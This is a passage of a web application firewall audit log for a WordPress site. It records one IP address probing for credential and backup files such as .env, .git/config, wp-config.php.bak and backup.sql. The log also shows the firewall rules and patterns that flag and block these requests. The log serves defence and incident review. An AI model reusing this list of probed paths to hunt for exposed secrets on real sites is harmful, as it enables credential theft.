Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqZsOGM7dE9KgIIOpQh0uAAAANg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-26.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqZsOGM7dE9KgIIOpQh0uAAAANg"]
Action: Intercepted (phase 2)
Stopwatch: 1789291576032802 69927 (- - -)
Stopwatch2: 1789291576032802 69927; combined=59806, p1=943, p2=57796, p3=0, p4=0, p5=1066, sr=781, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1c872d28-Z--
--498d2659-A--
[13/Sep/2026:12:26:21.752677 +0300] aqZsPUwu1RSkptiiNIX4dAAAAIA 36.77.210.5 46402 127.0.0.1 7081
--498d2659-B--
GET /.env HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--498d2659-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--498d2659-E--
--498d2659-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "axapres.ro"] [uri "/.env"] [unique_id "aqZsPUwu1RSkptiiNIX4dAAAAIA"]
Stopwatch: 1789291581746089 6649 (- - -)
Stopwatch2: 1789291581746089 6649; combined=4768, p1=301, p2=4336, p3=78, p4=8, p5=45, sr=119, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--498d2659-Z--
--d2b8ec0b-A--
[13/Sep/2026:12:26:30.625929 +0300] aqZsRkwu1RSkptiiNIX4eQAAAIM 36.77.210.5 39718 127.0.0.1 7081
--d2b8ec0b-B--
GET /.env.swp HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--d2b8ec0b-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--d2b8ec0b-E--
--d2b8ec0b-H--
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.env.swp"] [unique_id "aqZsRkwu1RSkptiiNIX4eQAAAIM"]
Stopwatch: 1789291590612393 13594 (- - -)
Stopwatch2: 1789291590612393 13594; combined=9322, p1=317, p2=8832, p3=122, p4=9, p5=42, sr=154, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d2b8ec0b-Z--
--dcc7af5b-A--
[13/Sep/2026:12:27:00.357251 +0300] aqZsZDTJ6xTvcJoem7f6twAAAFQ 36.77.210.5 43556 127.0.0.1 7081
--dcc7af5b-B--
GET /.git/config HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--dcc7af5b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--dcc7af5b-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-27.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.git/config"] [unique_id "aqZsZDTJ6xTvcJoem7f6twAAAFQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-27.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.git/config"] [unique_id "aqZsZDTJ6xTvcJoem7f6twAAAFQ"]
Action: Intercepted (phase 2)
Stopwatch: 1789291620295876 61417 (- - -)
Stopwatch2: 1789291620295876 61417; combined=59398, p1=939, p2=58164, p3=0, p4=0, p5=294, sr=774, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--dcc7af5b-Z--
--7b62922a-A--
[13/Sep/2026:12:27:06.546705 +0300] aqZsajTJ6xTvcJoem7f6uAAAAEk 36.77.210.5 42130 127.0.0.1 7081
--7b62922a-B--
GET /.git/HEAD HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--7b62922a-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--7b62922a-E--
--7b62922a-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.git/HEAD"] [unique_id "aqZsajTJ6xTvcJoem7f6uAAAAEk"]
Stopwatch: 1789291626528546 18209 (- - -)
Stopwatch2: 1789291626528546 18209; combined=5447, p1=361, p2=4957, p3=74, p4=8, p5=46, sr=128, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7b62922a-Z--
--2369ed58-A--
[13/Sep/2026:12:27:08.132646 +0300] aqZsbEwu1RSkptiiNIX4ewAAAI4 36.77.210.5 42160 127.0.0.1 7081
--2369ed58-B--
GET /.git/index HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--2369ed58-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--2369ed58-E--
--2369ed58-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/index||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/index||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.git/index"] [unique_id "aqZsbEwu1RSkptiiNIX4ewAAAI4"]
Stopwatch: 1789291628126843 5866 (- - -)
Stopwatch2: 1789291628126843 5866; combined=4399, p1=271, p2=4006, p3=73, p4=8, p5=41, sr=129, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2369ed58-Z--
--6e7fe96b-A--
[13/Sep/2026:12:28:03.338875 +0300] aqZsozTJ6xTvcJoem7f6uQAAAEY 36.77.210.5 58892 127.0.0.1 7081
--6e7fe96b-B--
GET /wp-content/debug.log HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--6e7fe96b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--6e7fe96b-H--
Message: Warning. Matched phrase "/wp-content/debug.log" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/debug.log||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-28.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/wp-content/debug.log" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/debug.log||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/debug.log"] [unique_id "aqZsozTJ6xTvcJoem7f6uQAAAEY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-28.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/debug.log"] [unique_id "aqZsozTJ6xTvcJoem7f6uQAAAEY"]
Action: Intercepted (phase 2)
Stopwatch: 1789291683275191 63730 (- - -)
Stopwatch2: 1789291683275191 63730; combined=59452, p1=341, p2=58735, p3=0, p4=0, p5=376, sr=131, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6e7fe96b-Z--
--6c67457a-A--
[13/Sep/2026:12:28:14.291044 +0300] aqZsrmM7dE9KgIIOpQh0zwAAAMo 36.77.210.5 42712 127.0.0.1 7081
--6c67457a-B--
GET /backup.sql HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--6c67457a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--6c67457a-H--
Message: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.sql||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-28.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.sql||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.sql"] [unique_id "aqZsrmM7dE9KgIIOpQh0zwAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-28.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.sql"] [unique_id "aqZsrmM7dE9KgIIOpQh0zwAAAMo"]
Action: Intercepted (phase 2)
Stopwatch: 1789291694229050 62038 (- - -)
Stopwatch2: 1789291694229050 62038; combined=60473, p1=274, p2=59852, p3=0, p4=0, p5=347, sr=122, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6c67457a-Z--
--3ad2ba5f-A--
[13/Sep/2026:12:28:20.045290 +0300] aqZss2M7dE9KgIIOpQh00QAAANE 36.77.210.5 33408 127.0.0.1 7081
--3ad2ba5f-B--
GET /backup.sql.gz HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--3ad2ba5f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--3ad2ba5f-H--
Message: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.sql.gz||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-28.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.sql.gz||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.sql.gz"] [unique_id "aqZss2M7dE9KgIIOpQh00QAAANE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-28.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.sql.gz"] [unique_id "aqZss2M7dE9KgIIOpQh00QAAANE"]
Action: Intercepted (phase 2)
Stopwatch: 1789291699988470 56872 (- - -)
Stopwatch2: 1789291699988470 56872; combined=55300, p1=379, p2=54531, p3=0, p4=0, p5=390, sr=202, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3ad2ba5f-Z--
--77556677-A--
[13/Sep/2026:12:28:53.526835 +0300] aqZs1WM7dE9KgIIOpQh01QAAAMA 36.77.210.5 44564 127.0.0.1 7081
--77556677-B--
GET /backup.tar.gz HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--77556677-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--77556677-H--
Message: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.tar.gz||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-28.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.tar.gz||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.tar.gz"] [unique_id "aqZs1WM7dE9KgIIOpQh01QAAAMA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-28.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.tar.gz"] [unique_id "aqZs1WM7dE9KgIIOpQh01QAAAMA"]
Action: Intercepted (phase 2)
Stopwatch: 1789291733466201 60680 (- - -)
Stopwatch2: 1789291733466201 60680; combined=57735, p1=571, p2=56714, p3=0, p4=0, p5=449, sr=280, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--77556677-Z--
--7f4dee75-A--
[13/Sep/2026:12:29:17.271667 +0300] aqZs7Uwu1RSkptiiNIX4jgAAAJg 36.77.210.5 41324 127.0.0.1 7081
--7f4dee75-B--
GET /wp-content/uploads/ HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--7f4dee75-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--7f4dee75-E--
--7f4dee75-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_autoindex.c"] [line 2329] [level 3] AH01276: Cannot serve directory /var/www/vhosts/axapres.ro/httpdocs/wp-content/uploads/: No matching DirectoryIndex (index.php,index.html,index.xhtml,index.htm,index.shtml) found, and server-generated directory index forbidden by Options directive
Apache-Handler: httpd/unix-directory
Stopwatch: 1789291757265908 5840 (- - -)
Stopwatch2: 1789291757265908 5840; combined=4142, p1=254, p2=3460, p3=61, p4=6, p5=360, sr=122, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7f4dee75-Z--
--23eaff6f-A--
[13/Sep/2026:12:29:18.098072 +0300] aqZs7kwu1RSkptiiNIX4jwAAAJc 36.77.210.5 41334 127.0.0.1 7081
--23eaff6f-B--
GET /wp-content/backups/ HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--23eaff6f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--23eaff6f-H--
Message: Warning. Matched phrase "backups/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/backups/||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-29.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "backups/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/backups/||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/backups/"] [unique_id "aqZs7kwu1RSkptiiNIX4jwAAAJc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-29.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/backups/"] [unique_id "aqZs7kwu1RSkptiiNIX4jwAAAJc"]
Action: Intercepted (phase 2)
Stopwatch: 1789291758039192 58941 (- - -)
Stopwatch2: 1789291758039192 58941; combined=57517, p1=245, p2=56970, p3=0, p4=0, p5=302, sr=125, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--23eaff6f-Z--
--dc101163-A--
[13/Sep/2026:12:29:28.082981 +0300] aqZs@GM7dE9KgIIOpQh03AAAAMo 36.77.210.5 34838 127.0.0.1 7081
--dc101163-B--
